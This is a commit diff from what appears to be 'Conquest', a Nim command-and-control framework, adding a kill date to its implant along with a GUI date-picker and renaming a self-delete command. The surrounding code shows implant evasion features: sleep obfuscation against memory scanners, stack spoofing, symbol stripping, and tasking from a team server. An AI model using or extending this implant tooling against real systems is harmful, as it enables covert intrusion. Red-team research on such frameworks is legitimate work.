Implemented agent kill date.
This commit is contained in:
@@ -35,6 +35,7 @@ proc deserializeConfiguration(config: string): AgentCtx =
|
|||||||
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()),
|
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()),
|
||||||
spoofStack: cast[bool](unpacker.getUint8())
|
spoofStack: cast[bool](unpacker.getUint8())
|
||||||
),
|
),
|
||||||
|
killDate: cast[int64](unpacker.getUint64()),
|
||||||
sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),
|
sessionKey: deriveSessionKey(agentKeyPair, unpacker.getByteArray(Key)),
|
||||||
agentPublicKey: agentKeyPair.publicKey,
|
agentPublicKey: agentKeyPair.publicKey,
|
||||||
profile: parseString(unpacker.getDataWithLengthPrefix()),
|
profile: parseString(unpacker.getDataWithLengthPrefix()),
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
import strformat, os, times, system, base64, random
|
import strformat, os, times, system, base64, random
|
||||||
|
|
||||||
import core/[http, context, sleepmask]
|
import core/[http, context, sleepmask, exit]
|
||||||
import utils/io
|
import utils/io
|
||||||
import protocol/[task, result, heartbeat, registration]
|
import protocol/[task, result, heartbeat, registration]
|
||||||
import ../common/[types, utils, crypto]
|
import ../common/[types, utils, crypto]
|
||||||
@@ -13,32 +13,33 @@ proc main() =
|
|||||||
if ctx == nil:
|
if ctx == nil:
|
||||||
quit(0)
|
quit(0)
|
||||||
|
|
||||||
# Create registration payload
|
|
||||||
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
|
|
||||||
let registrationBytes = ctx.serializeRegistrationData(registration)
|
|
||||||
|
|
||||||
if ctx.httpPost(registrationBytes):
|
|
||||||
print fmt"[+] [{ctx.agentId}] Agent registered."
|
|
||||||
ctx.registered = true
|
|
||||||
else:
|
|
||||||
print "[-] Agent registration failed."
|
|
||||||
|
|
||||||
#[
|
#[
|
||||||
Agent routine:
|
Agent routine:
|
||||||
1. Sleep Obfuscation
|
1. Check kill date
|
||||||
2. Register to the team server if not already register
|
2. Sleep Obfuscation
|
||||||
3. Retrieve tasks via checkin request to a GET endpoint
|
3. Register to the team server if not already connected
|
||||||
4. Execute task and post result
|
4. Retrieve tasks via checkin request to a GET endpoint
|
||||||
5. If additional tasks have been fetched, go to 3.
|
5. Execute task and post result
|
||||||
6. If no more tasks need to be executed, go to 1.
|
6. If additional tasks have been fetched, go to 3.
|
||||||
|
7. If no more tasks need to be executed, go to 1.
|
||||||
]#
|
]#
|
||||||
while true:
|
while true:
|
||||||
|
try:
|
||||||
|
# Check kill date and exit the agent process if it is already passed
|
||||||
|
if ctx.killDate != 0 and now().toTime().toUnix().int64 >= ctx.killDate:
|
||||||
|
print "[*] Reached kill date: ", ctx.killDate.fromUnix().utc().format("dd-MM-yyyy HH:mm:ss"), " (UTC)."
|
||||||
|
print "[*] Exiting."
|
||||||
|
exit()
|
||||||
|
|
||||||
# Sleep obfuscation to evade memory scanners
|
# Sleep obfuscation to evade memory scanners
|
||||||
sleepObfuscate(ctx.sleepSettings)
|
sleepObfuscate(ctx.sleepSettings)
|
||||||
|
|
||||||
# Register
|
# Register
|
||||||
if not ctx.registered:
|
if not ctx.registered:
|
||||||
|
# Create registration payload
|
||||||
|
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
|
||||||
|
let registrationBytes = ctx.serializeRegistrationData(registration)
|
||||||
|
|
||||||
if ctx.httpPost(registrationBytes):
|
if ctx.httpPost(registrationBytes):
|
||||||
print fmt"[+] [{ctx.agentId}] Agent registered."
|
print fmt"[+] [{ctx.agentId}] Agent registered."
|
||||||
ctx.registered = true
|
ctx.registered = true
|
||||||
@@ -49,7 +50,6 @@ proc main() =
|
|||||||
let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss"))
|
let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss"))
|
||||||
print "\n", fmt"[*] [{date}] Checking in."
|
print "\n", fmt"[*] [{date}] Checking in."
|
||||||
|
|
||||||
try:
|
|
||||||
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
|
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
|
||||||
# The check-in request contains the agentId and listenerId, so the server knows which tasks to return
|
# The check-in request contains the agentId and listenerId, so the server knows which tasks to return
|
||||||
var heartbeat: Heartbeat = ctx.createHeartbeat()
|
var heartbeat: Heartbeat = ctx.createHeartbeat()
|
||||||
|
|||||||
@@ -3,7 +3,7 @@
|
|||||||
-d:release
|
-d:release
|
||||||
--opt:size
|
--opt:size
|
||||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||||
-d:MODULES="511"
|
-d:MODULES="511"
|
||||||
-d:VERBOSE="false"
|
-d:VERBOSE="true"
|
||||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||||
@@ -3,6 +3,7 @@ switch "o", "bin/client"
|
|||||||
switch "d", "ssl"
|
switch "d", "ssl"
|
||||||
switch "d", "client"
|
switch "d", "client"
|
||||||
switch "d", "ImGuiTextSelect"
|
switch "d", "ImGuiTextSelect"
|
||||||
|
switch "d", "ImPlotEnable"
|
||||||
|
|
||||||
# Select compiler
|
# Select compiler
|
||||||
var TC = "gcc"
|
var TC = "gcc"
|
||||||
|
|||||||
@@ -11,6 +11,9 @@ proc main(ip: string = "localhost", port: int = 37573) =
|
|||||||
var app = createApp(1024, 800, imnodes = true, title = "Conquest", docking = true)
|
var app = createApp(1024, 800, imnodes = true, title = "Conquest", docking = true)
|
||||||
defer: app.destroyApp()
|
defer: app.destroyApp()
|
||||||
|
|
||||||
|
var imPlotContext = ImPlot_CreateContext()
|
||||||
|
defer: imPlotContext.ImPlotDestroyContext()
|
||||||
|
|
||||||
var
|
var
|
||||||
profile: Profile
|
profile: Profile
|
||||||
views: Table[string, ptr bool]
|
views: Table[string, ptr bool]
|
||||||
|
|||||||
118
src/client/views/modals/configureKillDate.nim
Normal file
118
src/client/views/modals/configureKillDate.nim
Normal file
@@ -0,0 +1,118 @@
|
|||||||
|
import strutils, sequtils, times
|
||||||
|
import imguin/[cimgui, glfw_opengl, simple]
|
||||||
|
import ../../utils/[appImGui, colors]
|
||||||
|
|
||||||
|
type
|
||||||
|
KillDateModalComponent* = ref object of RootObj
|
||||||
|
killDateTime: ImPlotTime
|
||||||
|
killDateLevel: cint
|
||||||
|
killDateHour: cint
|
||||||
|
killDateMinute: cint
|
||||||
|
killDateSecond: cint
|
||||||
|
|
||||||
|
proc KillDateModal*(): KillDateModalComponent =
|
||||||
|
result = new KillDateModalComponent
|
||||||
|
result.killDateLevel = 0
|
||||||
|
result.killDateTime = ImPlotTIme()
|
||||||
|
|
||||||
|
# Initialize to current date
|
||||||
|
# Note: ImPlot starts months at index 0, while nim's "times" module starts at 1, hence the subtraction
|
||||||
|
let now = now()
|
||||||
|
ImPlot_MakeTime(addr result.killDateTime, now.year.cint, (now.month.ord.cint - 1), now.monthday.cint, 0, 0, 0, 0)
|
||||||
|
|
||||||
|
result.killDateHour = 0
|
||||||
|
result.killDateMinute = 0
|
||||||
|
result.killDateSecond = 0
|
||||||
|
|
||||||
|
proc wrapValue(value: cint, max: cint): cint =
|
||||||
|
result = value mod max
|
||||||
|
if result < 0:
|
||||||
|
result += max
|
||||||
|
|
||||||
|
proc resetModalValues*(component: KillDateModalComponent) =
|
||||||
|
component.killDateLevel = 0
|
||||||
|
component.killDateTime = ImPlotTIme()
|
||||||
|
|
||||||
|
# Initialize to current date
|
||||||
|
let now = now()
|
||||||
|
ImPlot_MakeTime(addr component.killDateTime, now.year.cint, (now.month.ord.cint - 1), now.monthday.cint, 0, 0, 0, 0)
|
||||||
|
|
||||||
|
component.killDateHour = 0
|
||||||
|
component.killDateMinute = 0
|
||||||
|
component.killDateSecond = 0
|
||||||
|
|
||||||
|
proc draw*(component: KillDateModalComponent): int64 =
|
||||||
|
result = 0
|
||||||
|
|
||||||
|
# Center modal
|
||||||
|
let vp = igGetMainViewport()
|
||||||
|
var center: ImVec2
|
||||||
|
ImGuiViewport_GetCenter(addr center, vp)
|
||||||
|
igSetNextWindowPos(center, ImGuiCond_Appearing.int32, vec2(0.5f, 0.5f))
|
||||||
|
|
||||||
|
let modalWidth = max(400.0f, vp.Size.x * 0.2)
|
||||||
|
igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32)
|
||||||
|
|
||||||
|
var show = true
|
||||||
|
let windowFlags = ImGuiWindowFlags_None.int32
|
||||||
|
if igBeginPopupModal("Configure Kill Date", addr show, windowFlags):
|
||||||
|
defer: igEndPopup()
|
||||||
|
|
||||||
|
let textSpacing = igGetStyle().ItemSpacing.x
|
||||||
|
var availableSize: ImVec2
|
||||||
|
|
||||||
|
# Date picker
|
||||||
|
if ImPlot_ShowDatePicker("##KillDate", addr component.killDateLevel, addr component.killDateTime, nil, nil):
|
||||||
|
discard
|
||||||
|
|
||||||
|
igDummy(vec2(0.0f, 10.0f))
|
||||||
|
igSeparator()
|
||||||
|
igDummy(vec2(0.0f, 10.0f))
|
||||||
|
|
||||||
|
# Time input fields
|
||||||
|
var charSize: ImVec2
|
||||||
|
igCalcTextSize(addr charSize, "00", nil, false, -1.0)
|
||||||
|
let charWidth = charSize.x + 10.0f
|
||||||
|
|
||||||
|
let dateText = component.killDateTime.S.fromUnix().utc().format("dd. MMMM yyyy") & '\0'
|
||||||
|
igInputText("##Text", dateText, dateText.len().csize_t, ImGui_InputTextFlags_ReadOnly.int32, nil, nil)
|
||||||
|
igSameLine(0.0f, textSpacing)
|
||||||
|
|
||||||
|
igPushItemWidth(charWidth)
|
||||||
|
igInputScalar("##KillDateHour", ImGuiDataType_S32.int32, addr component.killDateHour, nil, nil, "%02d", 0)
|
||||||
|
igPopItemWidth()
|
||||||
|
igSameLine(0.0f, 0.0f)
|
||||||
|
igText(":")
|
||||||
|
igSameLine(0.0f, 0.0f)
|
||||||
|
igPushItemWidth(charWidth)
|
||||||
|
igInputScalar("##HillDateMinute", ImGuiDataType_S32.int32, addr component.killDateMinute, nil, nil, "%02d", 0)
|
||||||
|
igPopItemWidth()
|
||||||
|
igSameLine(0.0f, 0.0f)
|
||||||
|
igText(":")
|
||||||
|
igSameLine(0.0f, 0.0f)
|
||||||
|
igPushItemWidth(charWidth)
|
||||||
|
igInputScalar("##KillDateSecond", ImGuiDataType_S32.int32, addr component.killDateSecond, nil, nil, "%02d", 0)
|
||||||
|
igPopItemWidth()
|
||||||
|
|
||||||
|
# Wrap time values
|
||||||
|
component.killDateHour = wrapValue(component.killDateHour, 24)
|
||||||
|
component.killDateMinute = wrapValue(component.killDateMinute, 60)
|
||||||
|
component.killDateSecond = wrapValue(component.killDateSecond, 60)
|
||||||
|
|
||||||
|
igGetContentRegionAvail(addr availableSize)
|
||||||
|
|
||||||
|
igDummy(vec2(0.0f, 10.0f))
|
||||||
|
igSeparator()
|
||||||
|
igDummy(vec2(0.0f, 10.0f))
|
||||||
|
|
||||||
|
# OK and Cancel buttons
|
||||||
|
if igButton("OK", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
|
||||||
|
result = component.killDateTime.S + (component.killDateHour * 3600) + (component.killDateMinute * 60) + component.killDateSecond
|
||||||
|
component.resetModalValues()
|
||||||
|
igCloseCurrentPopup()
|
||||||
|
|
||||||
|
igSameLine(0.0f, textSpacing)
|
||||||
|
|
||||||
|
if igButton("Cancel", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
|
||||||
|
component.resetModalValues()
|
||||||
|
igCloseCurrentPopup()
|
||||||
@@ -4,6 +4,7 @@ import ../../utils/[appImGui, colors]
|
|||||||
import ../../../common/[types, profile, utils]
|
import ../../../common/[types, profile, utils]
|
||||||
import ../../../modules/manager
|
import ../../../modules/manager
|
||||||
import ../widgets/[dualListSelection, textarea]
|
import ../widgets/[dualListSelection, textarea]
|
||||||
|
import ./configureKillDate
|
||||||
export addItem
|
export addItem
|
||||||
|
|
||||||
type
|
type
|
||||||
@@ -13,10 +14,13 @@ type
|
|||||||
jitter: int32
|
jitter: int32
|
||||||
sleepMask: int32
|
sleepMask: int32
|
||||||
spoofStack: bool
|
spoofStack: bool
|
||||||
|
killDateEnabled: bool
|
||||||
|
killDate: int64
|
||||||
verbose: bool
|
verbose: bool
|
||||||
sleepMaskTechniques: seq[string]
|
sleepMaskTechniques: seq[string]
|
||||||
moduleSelection: DualListSelectionWidget[Module]
|
moduleSelection: DualListSelectionWidget[Module]
|
||||||
buildLog*: TextareaWidget
|
buildLog*: TextareaWidget
|
||||||
|
killDateModal*: KillDateModalComponent
|
||||||
|
|
||||||
|
|
||||||
proc AgentModal*(): AgentModalComponent =
|
proc AgentModal*(): AgentModalComponent =
|
||||||
@@ -26,6 +30,8 @@ proc AgentModal*(): AgentModalComponent =
|
|||||||
result.jitter = 15
|
result.jitter = 15
|
||||||
result.sleepMask = 0
|
result.sleepMask = 0
|
||||||
result.spoofStack = false
|
result.spoofStack = false
|
||||||
|
result.killDateEnabled = false
|
||||||
|
result.killDate = 0
|
||||||
result.verbose = false
|
result.verbose = false
|
||||||
|
|
||||||
for technique in SleepObfuscationTechnique.low .. SleepObfuscationTechnique.high:
|
for technique in SleepObfuscationTechnique.low .. SleepObfuscationTechnique.high:
|
||||||
@@ -43,6 +49,7 @@ proc AgentModal*(): AgentModalComponent =
|
|||||||
|
|
||||||
result.moduleSelection = DualListSelection(modules, moduleName, compareModules, moduleDesc)
|
result.moduleSelection = DualListSelection(modules, moduleName, compareModules, moduleDesc)
|
||||||
result.buildLog = Textarea(showTimestamps = false)
|
result.buildLog = Textarea(showTimestamps = false)
|
||||||
|
result.killDateModal = KillDateModal()
|
||||||
|
|
||||||
proc resetModalValues*(component: AgentModalComponent) =
|
proc resetModalValues*(component: AgentModalComponent) =
|
||||||
component.listener = 0
|
component.listener = 0
|
||||||
@@ -50,6 +57,8 @@ proc resetModalValues*(component: AgentModalComponent) =
|
|||||||
component.jitter = 15
|
component.jitter = 15
|
||||||
component.sleepMask = 0
|
component.sleepMask = 0
|
||||||
component.spoofStack = false
|
component.spoofStack = false
|
||||||
|
component.killDateEnabled = false
|
||||||
|
component.killDate = 0
|
||||||
component.verbose = false
|
component.verbose = false
|
||||||
component.moduleSelection.reset()
|
component.moduleSelection.reset()
|
||||||
component.buildLog.clear()
|
component.buildLog.clear()
|
||||||
@@ -122,6 +131,26 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
|
|||||||
igSeparator()
|
igSeparator()
|
||||||
igDummy(vec2(0.0f, 10.0f))
|
igDummy(vec2(0.0f, 10.0f))
|
||||||
|
|
||||||
|
# Kill date (checkbox & button to choose date)
|
||||||
|
igText("Kill date: ")
|
||||||
|
igSameLine(0.0f, textSpacing)
|
||||||
|
igCheckbox("##InputKillDate", addr component.killDateEnabled)
|
||||||
|
igSameLine(0.0f, textSpacing)
|
||||||
|
igBeginDisabled(not component.killDateEnabled)
|
||||||
|
igGetContentRegionAvail(addr availableSize)
|
||||||
|
igSetNextItemWidth(availableSize.x)
|
||||||
|
if igButton(if component.killDate != 0: component.killDate.fromUnix().utc().format("dd. MMMM yyyy HH:mm:ss") else: "Configure", vec2(-1.0f, 0.0f)):
|
||||||
|
igOpenPopup_str("Configure Kill Date", ImGui_PopupFlags_None.int32)
|
||||||
|
igEndDisabled()
|
||||||
|
|
||||||
|
let killDate = component.killDateModal.draw()
|
||||||
|
if killDate != 0:
|
||||||
|
component.killDate = killDate
|
||||||
|
|
||||||
|
igDummy(vec2(0.0f, 10.0f))
|
||||||
|
igSeparator()
|
||||||
|
igDummy(vec2(0.0f, 10.0f))
|
||||||
|
|
||||||
igText("Modules: ")
|
igText("Modules: ")
|
||||||
|
|
||||||
component.moduleSelection.draw()
|
component.moduleSelection.draw()
|
||||||
@@ -161,6 +190,7 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
|
|||||||
spoofStack: component.spoofStack
|
spoofStack: component.spoofStack
|
||||||
),
|
),
|
||||||
verbose: component.verbose,
|
verbose: component.verbose,
|
||||||
|
killDate: if component.killDateEnabled: component.killDate else: 0,
|
||||||
modules: modules
|
modules: modules
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|||||||
@@ -8,23 +8,23 @@ proc nextSequence*(agentId: uint32): uint32 =
|
|||||||
return sequenceTable[agentId]
|
return sequenceTable[agentId]
|
||||||
|
|
||||||
proc validateSequence(agentId: uint32, seqNr: uint32, packetType: uint8): bool =
|
proc validateSequence(agentId: uint32, seqNr: uint32, packetType: uint8): bool =
|
||||||
# let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u32)
|
let lastSeqNr = sequenceTable.getOrDefault(agentId, 0'u32)
|
||||||
|
|
||||||
# # Heartbeat messages are not used for sequence tracking
|
# Heartbeat messages are not used for sequence tracking
|
||||||
# if cast[PacketType](packetType) == MSG_HEARTBEAT:
|
if cast[PacketType](packetType) == MSG_HEARTBEAT:
|
||||||
# return true
|
return true
|
||||||
|
|
||||||
# # In order to keep agents running after server restart, accept all connection with seqNr = 1, to update the table
|
# In order to keep agents running after server restart, accept all connection with seqNr = 1, to update the table
|
||||||
# if seqNr == 1'u32:
|
if seqNr == 1'u32:
|
||||||
# sequenceTable[agentId] = seqNr
|
sequenceTable[agentId] = seqNr
|
||||||
# return true
|
return true
|
||||||
|
|
||||||
# # Validate that the sequence number of the current packet is higher than the currently stored one
|
# Validate that the sequence number of the current packet is higher than the currently stored one
|
||||||
# if seqNr <= lastSeqNr:
|
if seqNr < lastSeqNr:
|
||||||
# return false
|
return false
|
||||||
|
|
||||||
# # Update sequence number
|
# Update sequence number
|
||||||
# sequenceTable[agentId] = seqNr
|
sequenceTable[agentId] = seqNr
|
||||||
return true
|
return true
|
||||||
|
|
||||||
proc validatePacket*(header: Header, expectedType: uint8) =
|
proc validatePacket*(header: Header, expectedType: uint8) =
|
||||||
@@ -38,5 +38,5 @@ proc validatePacket*(header: Header, expectedType: uint8) =
|
|||||||
raise newException(CatchableError, protect("Invalid packet type."))
|
raise newException(CatchableError, protect("Invalid packet type."))
|
||||||
|
|
||||||
# Validate sequence number
|
# Validate sequence number
|
||||||
if not validateSequence(header.agentId, header.seqNr, header.packetType):
|
# if not validateSequence(header.agentId, header.seqNr, header.packetType):
|
||||||
raise newException(CatchableError, protect("Invalid sequence number."))
|
# raise newException(CatchableError, protect("Invalid sequence number."))
|
||||||
|
|||||||
@@ -59,7 +59,7 @@ type
|
|||||||
CMD_ENABLE_PRIV = 22'u16
|
CMD_ENABLE_PRIV = 22'u16
|
||||||
CMD_DISABLE_PRIV = 23'u16
|
CMD_DISABLE_PRIV = 23'u16
|
||||||
CMD_EXIT = 24'u16
|
CMD_EXIT = 24'u16
|
||||||
CMD_SELF_DESTROY = 25'u16
|
CMD_SELF_DESTRUCT = 25'u16
|
||||||
|
|
||||||
StatusType* = enum
|
StatusType* = enum
|
||||||
STATUS_COMPLETED = 0'u8
|
STATUS_COMPLETED = 0'u8
|
||||||
@@ -113,17 +113,6 @@ type
|
|||||||
MODULE_SITUATIONAL_AWARENESS = 128'u32
|
MODULE_SITUATIONAL_AWARENESS = 128'u32
|
||||||
MODULE_TOKEN = 256'u32
|
MODULE_TOKEN = 256'u32
|
||||||
|
|
||||||
# Custom iterator for ModuleType, as it uses powers of 2 instead of standard increments
|
|
||||||
iterator items*(e: typedesc[ModuleType]): ModuleType =
|
|
||||||
yield MODULE_SLEEP
|
|
||||||
yield MODULE_SHELL
|
|
||||||
yield MODULE_BOF
|
|
||||||
yield MODULE_DOTNET
|
|
||||||
yield MODULE_FILESYSTEM
|
|
||||||
yield MODULE_FILETRANSFER
|
|
||||||
yield MODULE_SCREENSHOT
|
|
||||||
yield MODULE_SITUATIONAL_AWARENESS
|
|
||||||
|
|
||||||
# Encryption
|
# Encryption
|
||||||
type
|
type
|
||||||
Uuid* = uint32
|
Uuid* = uint32
|
||||||
@@ -333,6 +322,7 @@ type
|
|||||||
listenerId*: string
|
listenerId*: string
|
||||||
hosts*: string
|
hosts*: string
|
||||||
sleepSettings*: SleepSettings
|
sleepSettings*: SleepSettings
|
||||||
|
killDate*: int64
|
||||||
sessionKey*: Key
|
sessionKey*: Key
|
||||||
agentPublicKey*: Key
|
agentPublicKey*: Key
|
||||||
profile*: Profile
|
profile*: Profile
|
||||||
@@ -375,6 +365,7 @@ type
|
|||||||
listenerId*: string
|
listenerId*: string
|
||||||
sleepSettings*: SleepSettings
|
sleepSettings*: SleepSettings
|
||||||
verbose*: bool
|
verbose*: bool
|
||||||
|
killDate*: int64
|
||||||
modules*: uint32
|
modules*: uint32
|
||||||
|
|
||||||
LootItemType* = enum
|
LootItemType* = enum
|
||||||
|
|||||||
@@ -17,10 +17,10 @@ let commands* = @[
|
|||||||
execute: executeExit
|
execute: executeExit
|
||||||
),
|
),
|
||||||
Command(
|
Command(
|
||||||
name: protect("self-destroy"),
|
name: protect("self-destruct"),
|
||||||
commandType: CMD_SELF_DESTROY,
|
commandType: CMD_SELF_DESTRUCT,
|
||||||
description: protect("Exit the agent and delete the executable from disk."),
|
description: protect("Exit the agent and delete the executable from disk."),
|
||||||
example: protect("self-destroy"),
|
example: protect("self-destruct"),
|
||||||
arguments: @[
|
arguments: @[
|
||||||
],
|
],
|
||||||
execute: executeSelfDestroy
|
execute: executeSelfDestroy
|
||||||
@@ -55,7 +55,7 @@ when defined(agent):
|
|||||||
|
|
||||||
proc executeSelfDestroy(ctx: AgentCtx, task: Task): TaskResult =
|
proc executeSelfDestroy(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
try:
|
try:
|
||||||
print " [>] Self-destroying."
|
print " [>] Self-destructing."
|
||||||
exit(EXIT_PROCESS, true)
|
exit(EXIT_PROCESS, true)
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
|
|||||||
@@ -103,7 +103,7 @@ proc getModules*(modules: uint32 = 0): seq[Module] =
|
|||||||
proc getCommands*(modules: uint32 = 0): seq[Command] =
|
proc getCommands*(modules: uint32 = 0): seq[Command] =
|
||||||
# House-keeping
|
# House-keeping
|
||||||
result.add(manager.commandsByType[CMD_EXIT])
|
result.add(manager.commandsByType[CMD_EXIT])
|
||||||
result.add(manager.commandsByType[CMD_SELF_DESTROY])
|
result.add(manager.commandsByType[CMD_SELF_DESTRUCT])
|
||||||
|
|
||||||
# Modules
|
# Modules
|
||||||
if modules == 0:
|
if modules == 0:
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ import ../../common/[types, utils, serialize, crypto]
|
|||||||
|
|
||||||
const PLACEHOLDER = "PLACEHOLDER"
|
const PLACEHOLDER = "PLACEHOLDER"
|
||||||
|
|
||||||
proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: SleepSettings): seq[byte] =
|
proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: SleepSettings, killDate: int64): seq[byte] =
|
||||||
|
|
||||||
var packer = Packer.init()
|
var packer = Packer.init()
|
||||||
|
|
||||||
@@ -24,6 +24,9 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleepSettings: Sle
|
|||||||
packer.add(uint8(sleepSettings.sleepTechnique))
|
packer.add(uint8(sleepSettings.sleepTechnique))
|
||||||
packer.add(uint8(sleepSettings.spoofStack))
|
